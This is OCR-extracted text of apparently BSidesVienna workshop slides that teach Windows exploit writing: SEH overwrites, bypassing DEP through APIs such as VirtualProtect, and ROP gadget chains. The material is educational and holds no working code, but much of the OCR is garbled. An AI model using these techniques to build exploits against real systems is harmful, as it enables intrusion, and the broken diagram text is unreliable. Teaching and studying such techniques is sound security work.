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Stack cookies/canaries bypass

* Function epilogue raises an exception

* |f you can overwrite the exception handler structure
— SEH (Structured Exception Handling) Exploit

5. Jump to NOP sled
1. Exception occurs ——
2. SE Handler is called

JMP some bytes 3. PTR
POP
POP
RET
&Execute JMP Code!!
/

SHELLCODE

76
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DEP (Data Execution Prevention)

Stack and Heap are protected against code execution.

Shellcode can‘t be located in stack area
[ gy [ ] cCce (500) |

1 v Kz [ESP]
A

DEP can be disabled for a process using a Windows API
calll

How can we call the APl when code execution is @ @@
blocked?

Use code fragments in executable areas and use the
stack for chaining them together

BSidesVienna 0x7DF
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DISABLE DEP — VirtualAlloc

Virtuzalalloc

HeapCreate

SetProcessDEPPolicy

VirtualProtect

o e
1 1
i [
i

WriteProcessMemory I i

i i
. & .
OS] § SkPs

! becouse of dafaul DEP Policy saftings

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ 78
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DEP (Data Execution Prevention)

What happens when a RET instruction is executed??

P fl
rogram flow Stack

Addr 1 | Instruction A | «—— E|P

Addr 2 | Instruction B

Addr X |«—— ESPD

«— ESP

Addr 3

| L\

Addr X Instruction H

Instruction |

BSidesVienna 0x7DF
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Start with a RETURN

ESP ESP

.

ESP

FH | IOANNEU
JNFI ATV VU EmSAIV]
II University of Applied Science
ESP ESP

|

.

EIP EIP EIP

ESP is just incremented
RETURN ist the ROP-NOP (ROP No Operation)

EIP

EIP

BSidesVienna 0x7DF
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Execute a ROP Gadget

ESP ESP ESP ESP

N

=

< EIP < EIP

EIP

& EIP & EIP

ROP Gadget 1 ROP Gadget 2 ROP Gadget 3

81
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Load a Register

ESP ESP ESP ESP

I

EAX=4711 — EP
— P <+——o EIP
] <+——— EIP
EIP
ROP Gadget 1 ROP Gadget 2

82
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ROP Gadgets are often not perfect

ESP ESP

.

Fl

1 Wl AU Vs WAIVI

University of Applied Sciences

[ JOANNEUM

ESP ESP ESP

o

|

POP EAX EAX=4711

<—— EIP

< EIP

EIP

& EIP

ROP Gadget 1

ElP —>

Elp —>

EIpP =

ROP Gadget 2

BSidesVienna 0x7DF
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DEP-Bypass Exploit Structure
JUNK EIP ROP-CHAIN TO DISABLE DEP SHELLCODE
RET CMD CMD CMD CMD CMD
CMD CMD CMD CMD CMD
CMD CMD RET CMD CMD
CMD RET CMD RET
RET RET
84
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Wrote your first windows exploit
in less than one hour...

Thank you!
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